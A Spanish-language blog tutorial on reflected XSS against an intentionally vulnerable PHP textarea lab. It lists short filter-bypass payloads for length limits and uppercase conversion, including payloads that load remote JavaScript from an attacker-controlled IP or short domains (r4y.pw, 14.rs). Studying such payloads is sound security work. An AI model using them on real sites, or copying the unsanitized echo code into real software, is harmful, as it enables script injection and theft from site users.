Después de algunos días de vacaciones veraniegos, toca volver a la rutina y que mejor manera que escribiendo una nueva entrada técnica. En este caso les traigo algunas indagaciones que he estado realizando sobre la popular vulnerabilidad de Cross-Site Scripting (XSS), incluida en el Top 10 de OWASP (A03:2021-Injection).

Para empezar y a modo de tomar un contexto, vamos a generarnos un pequeño laboratorio, bastante básico pero que será suficiente para nuestro objetivo. Sobre la marcha lo iremos modificando para cubrir las distintas técnicas que presentaremos en esta entrada.

El código base que emplearemos en este laboratorio es el siguiente:

Donde básicamente la segunda línea presenta un etiqueta HTML (textarea) cuyo contenido está siendo recibida por el usuario como una entrada sin ningún tipo de control o restricción. Por supuesto se trata de una intencionalidad a fin de presentar este post. Que no se os ocurra typear algo parecido en vuestros desarrollo ¡ojo! XD.

El aspecto del laboratorio será el siguiente:

Como lo he dicho anteriormente, el código del laboratorio es intencionalmente vulnerable, esto nos lo podrá evidenciar cualquier escáner o herramienta de detección de vulnerabilidades, en este caso esto es lo que devuelve un rápido análisis de código estático con wpBullet:

Ahora bien, veamos esto desde el navegador:

Como se evidencia, la inserción que haga el usuario se verá inmediatamente reflejada como contenido de la caja de texto presentada. Esto queda claro si observamos el inspector de elementos del navegador:

Ahora bien, dado que el código, como hemos visto anteriormente, es bastante escueto y carece de cualquier mecanismo para sanitizar la entrada del usuario podremos aventurarnos a insertar la etiqueta que logre cerrar la caja de texto y por tanto escapar de dicha etiqueta HTML. Veamos el resultado:

Como es lógico y nuevamente, ‘gracias’ a la precariedad del código del laboratorio podremos añadir en la entrada del usuario aún más etiquetas HTML, incluso llegando a explotar lo que se conoce como HTML Injection.

Finalmente y para concluir esta introducción es hora de explotar el XSS reflejado evidente en este laboratorio. Para ello emplearemos el payload más típico posible:

<script>alert(1)</script>

Tomemos en cuenta la cantidad de caracteres introducidos en esta entrada:

</textarea><script>alert(1)</script> -> 36 caracteres

De los cuales los 11 primeros caracteres se tratan del ‘prefijo’ que cierra la etiqueta de caja de texto (textarea).

Limitación de caracteres

Ahora pongamos el laboratorio ‘algo más exigente’, en este caso a través de la función de PHP substr conseguiremos limitar la cantidad de caracteres que puede emplear el usuario en la entrada de datos. Por tanto la segunda línea del código quedaría así:

<textarea name="textarea" row="5" cols="20"><?php echo substr($_GET['value'],0,36); ?></textarea>

En este punto y dada la limitación, tendremos que pensar en una carga útil pequeña, con la menor cantidad de caracteres, por ejemplo podremos emplear la siguiente:

</textarea><body onload=alert(1)> -> 33 caracteres

Pero este payload no es el único que podemos emplear, ni el más corto. A continuación dejo algunos que he podido recopilar en algunas fuentes públicas que he dejado en las referencias finales.

</textarea><p oncut=alert(1)>a -> 30 caracteres  
</textarea><a/oncut=alert(1)>a -> 30 caracteres  
</textarea><svg onload=alert(1)> -> 32 caracteres  
</textarea><svg/onload=alert(1)> -> 32 caracteres  
</textarea><svg onclick=alert(1)> -> 33 caracteres  
</textarea><svg onload=prompt(1)> -> 33 caracteres  
</textarea><svg/onclick=alert(1)> -> 33 caracteres  
</textarea><svg onload=confirm(1)> -> 34 caracteres  
</textarea><body onwheel=alert(1)> -> 34 caracteres  
</textarea><body onresize=alert(1)> -> 35 caracteres  
</textarea><input oninput=alert(1)> -> 35 caracteres  
</textarea><svg onload=alert(1)<!-- -> 35 caracteres  
</textarea><input onchange=alert(1)> -> 36 caracteres  
</textarea><script>alert`1`</script> -> 36 caracteres

Cualquiera de estos anteriores nos valdría y encajaría en el laboratorio que estamos tratando.

Conversión de caracteres

Un control alternativo y recurrente que se suele usar para evitar que la entrada de datos sea manipulada por un usuario malintencionado es la conversión de la inserción introducida a mayúsculas, consiguiendo de esta forma que las cadenas como alert, prompt, confirm, print, entre otras, sean estéril, ya que quedarían de forma distintas a las funciones cuya composición sea de los mismos caracteres pero en minúscula. Tenemos que tener claro que en JavaScript sí se hace distinción entre mayúscula y minúscula (case-sensitive), por tanto ojo que alert es distinto de ALERT.

Para poner en practica este control, sustituiremos la línea 2 de nuestro laboratorio con lo siguiente:

<textarea name="textarea" row="5" cols="20"><?php echo strtoupper($_GET['value']); ?></textarea>

Veamos el resultado que obtendremos si insertamos el payload más común:

Como se observa en esta anterior captura, nuestra inserción se vuelve a mayúsculas y por tanto no se mostrará operativa como una función de JavaScript.

Ahora bien, pensemos en la siguiente interrogante: ¿Con qué juego de caracteres contamos si pretendemos pasar por alto este control? La respuesta simple es: Los números. Bien pues entonces nuestro payload tendrá que ser algo así:

</textarea><script src=http://15.15.15.5:8000/xss.js></script>

En donde el origen del fichero JS deberá ser compartido desde un host que tengamos en control/posesión:

Ojo, que debemos tomar en cuenta que el conjunto de letras que empleemos en nuestro payload (el fichero xss.js) también pasará a convertirse en mayúsculas, por tanto tomaremos eso en cuenta para dejarlo preparado en nuestro host:

Con esto listo, ahora si conseguiremos que la ventana emergente típica se muestre:

Estos son los registros que se pueden observar en el servidor web de nuestro host:

En el inspector de elementos el payload quedaría de la siguiente forma:

Controles combinados

Pues ahora llega el momento de implementar ambos controles (longitud y conversión) de forma simultanea, para ello añadiremos la siguiente línea en nuestro laboratorio:

<textarea name="textarea" row="5" cols="20"><?php echo strtoupper(substr($_GET['value'],0,30)); ?></textarea>

Nótese que la cantidad de caracteres que podemos emplear es bastante reducida, por tanto debemos pensar en un método para omitir (a ser posible) el nombre del fichero con nuestra carga útil. Para ello emplearemos el fichero que llama por defecto cuando accedemos a una aplicación web convencional: estoy hablando del index.html. El contenido de este fichero será el siguiente:

Ahora en breve explicaremos el motivo.

Si pensamos en ahórranos más caracteres por el lado de la dirección IP o el nombre del host que compartirá el fichero con el payload, tendremos la alternativa de emplear nuestro fichero hosts local para hacer una adaptación en la llamada del recurso:

Con todo esto, nuestro payload simplificado quedaría de la siguiente manera:

</textarea><script src=//a> -> 27 caracteres

Se debe tomar en cuenta que también nos ahorramos la inserción del protocolo y hemos asumido el puerto como el estándar para aplicaciones web.

Bien, llega el momento de explicar el contenido del fichero index.html anterior. Básicamente se tomó la base de los proyectos públicos: r4y.pw y 14.rs. Os recomiendo dejarlos en vuestros recursos de cabecera.

Si pretendemos emplear estos recursos en este laboratorio, nos quedarían conformado los siguientes payloads:

</textarea><script src=//r4y.pw> -> 32 caracteres
</textarea><script src=//14.rs> -> 31 caracteres

Ahora bien, también podremos pensar en ahorrarnos ciertos caracteres a través del fichero hosts local. Para ello identifiquemos la IP de r4y.pw, por ejemplo y lo añadimos al hosts:

De esta forma el payload resultante quedaría tal que así:

</textarea><script src=//bb> -> 28 caracteres

Y listo, en definitiva tenemos un payload final de tan solo 16 caracteres (si obviamos el prefijo). Sin duda uno de los payloads más pequeños con los que podemos jugar. Espero que os pueda resultar de provecho en vuestras próximas acciones.

Nos vemos en la próxima entrada. Muy pronto estaré trayendo la parte 2 para dar continuidad a esta entrada hablando de más vectores que podemos conseguir con XSS.

Referencias